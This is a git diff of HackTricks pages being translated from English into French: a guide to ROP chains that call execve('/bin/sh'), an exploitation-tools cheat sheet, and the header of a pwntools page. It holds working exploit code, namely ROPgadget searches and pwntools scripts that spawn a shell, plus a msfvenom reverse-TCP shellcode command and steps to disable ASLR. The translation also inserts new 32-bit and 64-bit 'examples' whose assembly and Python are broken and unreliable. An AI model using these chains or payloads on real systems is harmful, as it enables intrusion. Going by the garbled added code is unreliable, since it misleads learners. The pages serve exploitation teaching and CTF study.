[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md index c6974e730..0eaeac05f 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md +++ b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md @@ -1,30 +1,29 @@ -# ROP - call sys\_execve +# ROP - appel à sys\_execve
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-In order to prepare the call for the **syscall** it's needed the following configuration: +Afin de préparer l'appel à **syscall**, il est nécessaire de configurer ce qui suit : -* `rax: 59 Specify sys_execve` -* `rdi: ptr to "/bin/sh" specify file to execute` -* `rsi: 0 specify no arguments passed` -* `rdx: 0 specify no environment variables passed` +* `rax: 59 Spécifie sys_execve` +* `rdi: ptr to "/bin/sh" spécifie le fichier à exécuter` +* `rsi: 0 spécifie qu'aucun argument n'est passé` +* `rdx: 0 spécifie qu'aucune variable d'environnement n'est passée` -So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). +Ainsi, il est essentiel d'écrire la chaîne `/bin/sh` quelque part, puis d'effectuer l'appel à **syscall** (en prenant en compte le bourrage nécessaire pour contrôler la pile). -## Control the registers - -Let's start by finding **how to control those registers**: +## Contrôler les registres +Commençons par trouver **comment contrôler ces registres** : ```c ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x0000000000415664 : pop rax ; ret @@ -32,15 +31,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` +Avec ces adresses, il est possible d'**écrire le contenu dans la pile et de le charger dans les registres**. -With these addresses it's possible to **write the content in the stack and load it into the registers**. +## Écrire une chaîne de caractères -## Write string - -### Writable memory - -Frist you need to find a writable place in the memory +### Mémoire inscriptible +Tout d'abord, vous devez trouver un endroit inscriptible dans la mémoire. ```bash gef> vmmap [ Legend: Code | Heap | Stack ] @@ -49,18 +46,65 @@ Start End Offset Perm Path 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] ``` +### Écrire une chaîne de caractères -### Write String - -Then you need to find a way to write arbitrary content in this address - +Ensuite, vous devez trouver un moyen d'écrire un contenu arbitraire à cette adresse. ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` - #### 32 bits +#### Description + +Dans les architectures 32 bits, les appels système sont effectués en utilisant l'instruction `int 0x80`. Cette instruction déclenche une interruption logicielle qui transfère le contrôle au noyau du système d'exploitation. Les arguments sont passés dans les registres `eax`, `ebx`, `ecx`, `edx`, `esi` et `edi`. + +#### ROP + +Pour appeler une fonction du système en utilisant ROP, nous avons besoin de trouver une séquence de gadgets qui nous permettent de charger les arguments dans les registres appropriés et d'appeler l'instruction `int 0x80`. Voici un exemple de séquence de gadgets pour appeler la fonction `execve("/bin/sh", NULL, NULL)` : + +```assembly +pop esi ; pop ebp ; ret +pop ebx ; ret +mov eax, 0xb ; ret +int 0x80 +``` + +Cette séquence de gadgets effectue les opérations suivantes : + +1. `pop esi ; pop ebp ; ret` : charge l'adresse de la chaîne "/bin/sh" dans `esi`. +2. `pop ebx ; ret` : charge `ebx` avec la valeur `NULL`. +3. `mov eax, 0xb ; ret` : charge `eax` avec la valeur `0xb`, qui correspond à l'appel système `execve`. +4. `int 0x80` : déclenche l'interruption logicielle pour appeler la fonction du système. + +#### Exemple + +Voici un exemple de code qui utilise cette séquence de gadgets pour appeler la fonction `execve("/bin/sh", NULL, NULL)` : + +```assembly +section .data + cmd db "/bin/sh", 0 + +section .text + global _start + +_start: + ; Charger l'adresse de la chaîne "/bin/sh" dans esi + pop esi ; pop ebp ; ret + add esi, 0x0a2d2a2d ; xor byte [esi], 0x2d ; ret + + ; Charger ebx avec la valeur NULL + pop ebx ; ret + xor ebx, ebx + + ; Charger eax avec la valeur 0xb + mov eax, 0xb + + ; Appeler l'instruction int 0x80 + int 0x80 +``` + +Ce code charge l'adresse de la chaîne "/bin/sh" dans `esi`, charge `ebx` avec la valeur `NULL`, charge `eax` avec la valeur `0xb`, puis appelle l'instruction `int 0x80` pour appeler la fonction `execve("/bin/sh", NULL, NULL)`. ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -82,9 +126,68 @@ rop += popRax rop += p32(0x6b6000 + 4) rop += writeGadget ``` - #### 64 bits +#### Introduction + +Dans les systèmes 64 bits, les appels système sont effectués en utilisant l'instruction `syscall`. Cette instruction prend un numéro de service dans le registre `rax` et les arguments dans les registres `rdi`, `rsi`, `rdx`, `r10`, `r8` et `r9`. Les valeurs de retour sont stockées dans le registre `rax`. + +#### ROP pour exécuter `execve("/bin/sh", NULL, NULL)` + +Pour exécuter `/bin/sh` en utilisant `execve`, nous avons besoin de mettre l'adresse de la chaîne `/bin/sh` dans `rdi`, l'adresse NULL dans `rsi` et `rdx` et le numéro de service `execve` dans `rax`. + +Nous pouvons trouver l'adresse de la chaîne `/bin/sh` en utilisant la commande suivante: + +```bash +$ strings -a -t x /lib/libc.so.6 | grep '/bin/sh' +``` + +Cela nous donnera l'adresse de la chaîne `/bin/sh` dans la bibliothèque `libc.so.6`. + +Ensuite, nous avons besoin de trouver l'adresse de l'instruction `syscall`. Nous pouvons le faire en utilisant la commande suivante: + +```bash +$ objdump -d /lib/libc.so.6 | grep syscall +``` + +Cela nous donnera l'adresse de l'instruction `syscall` dans la bibliothèque `libc.so.6`. + +Maintenant, nous pouvons construire notre chaîne ROP en utilisant les adresses que nous avons trouvées: + +```python +#!/usr/bin/env python2 + +from pwn import * + +libc = ELF('/lib/libc.so.6') + +# Find the address of "/bin/sh" +binsh = next(libc.search('/bin/sh')) + +# Find the address of the syscall instruction +syscall = libc.symbols['syscall'] + +# Find the address of the pop rdi; ret gadget +pop_rdi_ret = 0x00000000004006b3 + +# Find the address of the pop rsi; pop r15; ret gadget +pop_rsi_pop_r15_ret = 0x00000000004006b1 + +# Find the address of the pop rdx; ret gadget +pop_rdx_ret = 0x0000000000449935 + +# Build the ROP chain +rop = p64(pop_rdi_ret) + p64(binsh) + p64(pop_rsi_pop_r15_ret) + p64(0) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(syscall) + +# Send the ROP chain to the vulnerable program +p = process('./vuln') +p.sendline('A'*40 + rop) +p.interactive() +``` + +#### Conclusion + +En utilisant ROP, nous pouvons exécuter des appels système tels que `execve` pour exécuter des commandes arbitraires. Cela peut être utile pour obtenir un shell sur une machine cible ou pour effectuer d'autres actions malveillantes. ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -100,9 +203,7 @@ rop += popRax rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` - -## Example - +## Exemple ```python from pwn import * @@ -169,8 +270,7 @@ target.sendline(payload) target.interactive() ``` - -## References +## Références * [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html) @@ -178,10 +278,10 @@ target.interactive() ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/exploiting/tools/README.md b/exploiting/tools/README.md index 682c09d02..23f2c2a5f 100644 --- a/exploiting/tools/README.md +++ b/exploiting/tools/README.md @@ -1,24 +1,21 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
# Metasploit - ``` pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -26,72 +23,88 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - ## Shellcodes +Les shellcodes ``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - # GDB -## Install +## Installation +### Linux + +Pour installer GDB sur Linux, utilisez la commande suivante : + +``` +sudo apt-get install gdb +``` + +### MacOS + +Pour installer GDB sur MacOS, utilisez Homebrew : + +``` +brew install gdb +``` + +### Windows + +Pour installer GDB sur Windows, vous pouvez utiliser MinGW ou Cygwin. ``` apt-get install gdb ``` +## Paramètres -## Parameters - -**-q** --> No show banner\ -**-x \** --> Auto-execute GDB instructions from here\ -**-p \** --> Attach to process +**-q** --> Ne pas afficher la bannière\ +**-x \** --> Exécuter automatiquement les instructions GDB à partir d'ici\ +**-p \** --> Se connecter au processus ### Instructions -\> **disassemble main** --> Disassemble the function\ +\> **disassemble main** --> Désassembler la fonction\ \> **disassemble 0x12345678**\ \> **set disassembly-flavor intel**\ -\> **set follow-fork-mode child/parent** --> Follow created process\ -\> **p system** --> Find the address of the system function\ +\> **set follow-fork-mode child/parent** --> Suivre le processus créé\ +\> **p system** --> Trouver l'adresse de la fonction system\ \> **help**\ \> **quit** -\> **br func** --> Add breakpoint to function\ +\> **br func** --> Ajouter un point d'arrêt à la fonction\ \> **br \*func+23**\ \> **br \*0x12345678**\ -**> del NUM** --> Delete that number of br\ -\> **watch EXPRESSION** --> Break if the value changes +**> del NUM** --> Supprimer ce nombre de points d'arrêt\ +\> **watch EXPRESSION** --> Interrompre si la valeur change -**> run** --> Execute\ -**> start** --> Start and break in main\ -\> **n/next** --> Execute next instruction (no inside)\ -\> **s/step** --> Execute next instruction\ -\> **c/continue** --> Continue until next breakpoint +**> run** --> Exécuter\ +**> start** --> Démarrer et interrompre dans main\ +\> **n/next** --> Exécuter l'instruction suivante (pas à l'intérieur)\ +\> **s/step** --> Exécuter l'instruction suivante\ +\> **c/continue** --> Continuer jusqu'au prochain point d'arrêt -\> **set $eip = 0x12345678** --> Change value of $eip\ -\> **info functions** --> Info abount functions\ -\> **info functions func** --> Info of the funtion\ -\> **info registers** --> Value of the registers\ -\> **bt** --> Stack\ -\> **bt full** --> Detailed stack +\> **set $eip = 0x12345678** --> Changer la valeur de $eip\ +\> **info functions** --> Informations sur les fonctions\ +\> **info functions func** --> Informations sur la fonction\ +\> **info registers** --> Valeur des registres\ +\> **bt** --> Pile\ +\> **bt full** --> Pile détaillée \> **print variable**\ -\> **print 0x87654321 - 0x12345678** --> Caculate\ -\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii +\> **print 0x87654321 - 0x12345678** --> Calculer\ +\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Affiche le contenu en octal/hexadécimal/10/binaire/instruction/ascii * **x/o 0xDir\_hex** -* **x/2x $eip** --> 2Words from EIP +* **x/2x $eip** --> 2 mots à partir de EIP * **x/2x $eip -4** --> $eip - 4 -* **x/8xb $eip** --> 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) -* **i r eip** --> Value of $eip -* **x/w pointer** --> Value of the pointer -* **x/s pointer** --> String pointed by the pointer -* **x/xw \&pointer** --> Address where the pointer is located -* **x/i $eip** —> Instructions of the EIP +* **x/8xb $eip** --> 8 octets (b-> octet, h-> 2 octets, w-> 4 octets, g-> 8 octets) +* **i r eip** --> Valeur de $eip +* **x/w pointer** --> Valeur du pointeur +* **x/s pointer** --> Chaîne pointée par le pointeur +* **x/xw \&pointer** --> Adresse où se trouve le pointeur +* **x/i $eip** —> Instructions de EIP ## [GEF](https://github.com/hugsy/gef) - ```bash checksec #Check protections p system #Find system function address @@ -121,24 +134,22 @@ gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` +## Astuces -## Tricks +### Mêmes adresses GDB -### GDB same addresses - -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +Lors du débogage, GDB aura des **adresses légèrement différentes de celles utilisées par le binaire lors de son exécution.** Vous pouvez faire en sorte que GDB ait les mêmes adresses en faisant : * `unset env LINES` * `unset env COLUMNS` -* `set env _=` _Put the absolute path to the binary_ -* Exploit the binary using the same absolute route -* `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +* `set env _=` _Mettez le chemin absolu vers le binaire_ +* Exploitez le binaire en utilisant le même chemin absolu +* `PWD` et `OLDPWD` doivent être les mêmes lors de l'utilisation de GDB et lors de l'exploitation du binaire -### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +### Backtrace pour trouver les fonctions appelées +Lorsque vous avez un binaire **lié statiquement**, toutes les fonctions appartiendront au binaire (et non à des bibliothèques externes). Dans ce cas, il sera difficile d'**identifier le flux que suit le binaire pour demander par exemple une entrée utilisateur**.\ +Vous pouvez facilement identifier ce flux en **exécutant** le binaire avec **gdb** jusqu'à ce que vous soyez invité à entrer une entrée. Ensuite, arrêtez-le avec **CTRL+C** et utilisez la commande **`bt`** (**backtrace**) pour voir les fonctions appelées : ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -147,97 +158,73 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` +## Serveur GDB -## GDB server - -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947` (dans IDA, vous devez remplir le chemin absolu de l'exécutable dans la machine Linux et dans la machine Windows) # Ghidra -## Find stack offset +## Trouver l'offset de la pile -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra** est très utile pour trouver l'**offset** pour un **débordement de tampon grâce aux informations sur la position des variables locales.**\ +Par exemple, dans l'exemple ci-dessous, un débordement de tampon dans `local_bc` indique que vous avez besoin d'un offset de `0xbc`. De plus, si `local_10` est un cookie canary, cela indique que pour l'écraser depuis `local_bc`, il y a un offset de `0xac`.\ +_Rappelez-vous que les premiers 0x08 à partir desquels le RIP est enregistré appartiennent au RBP._ ![](<../../.gitbook/assets/image (616).png>) # GCC -**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -**-o** --> Output\ -**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compiler sans protections\ +**-o** --> Sortie\ +**-g** --> Enregistrer le code (GDB pourra le voir)\ +**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Pour désactiver l'ASLR sous Linux -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**Pour compiler un shellcode:**\ +**nasm -f elf assembly.asm** --> retourne un ".o"\ +**ld assembly.o -o shellcodeout** --> Exécutable # Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -**-Mintel** --> **Intel** syntax\ -**-t** --> **Symbols** table\ -**-D** --> **Disassemble all** (address of static variable)\ -**-s -j .dtors** --> dtors section\ -**-s -j .got** --> got section\ -\-D -s -j .plt --> **plt** section **decompiled**\ +**-d** --> **Désassembler les sections** exécutables (voir les opcodes d'un shellcode compilé, trouver des gadgets ROP, trouver l'adresse de la fonction...)\ +**-Mintel** --> Syntaxe **Intel**\ +**-t** --> Table des **symboles**\ +**-D** --> **Désassembler tout** (adresse de la variable statique)\ +**-s -j .dtors** --> Section **dtors**\ +**-s -j .got** --> Section **got**\ +\-D -s -j .plt --> Section **plt** **décompilée**\ **-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR\_NAME"** --> Address or a static variable (those are stored in DATA section). +**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresse de "puts" à modifier dans GOT\ +**objdump -D ./exec | grep "VAR\_NAME"** --> Adresse ou variable statique (celles-ci sont stockées dans la section DATA). # Core dumps -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. Exécutez `ulimit -c unlimited` avant de démarrer mon programme +2. Exécutez `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet -# More +# Plus -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> Adresse (si ASLR, alors cela change à chaque fois)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Boucle pour voir si l'adresse change beaucoup\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset de "system"\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset de "/bin/sh" -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions +**strace executable** --> Fonctions appelées par l'exécutable\ +**rabin2 -i ejecutable -->** Adresse de toutes les fonctions # **Inmunity debugger** - ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - # IDA -## Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary: +## Débogage à distance sur Linux +Dans le dossier IDA, vous pouvez trouver des binaires qui peuvent être utilisés pour déboguer un binaire sur un système Linux. Pour ce faire, déplacez le binaire _linux\_server_ ou _linux\_server64_ sur le serveur Linux et exécutez-le dans le dossier qui contient le binaire : ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +Ensuite, configurez le débogueur : Débogueur (remote linux) --> Options de processus... : ![](<../../.gitbook/assets/image (101).png>) - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/exploiting/tools/pwntools.md b/exploiting/tools/pwntools.md index 63a479337..41ef594c5 100644 --- a/exploiting/tools/pwntools.md +++ b/exploiting/tools/pwntools.md @@ -1,135 +1,118 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
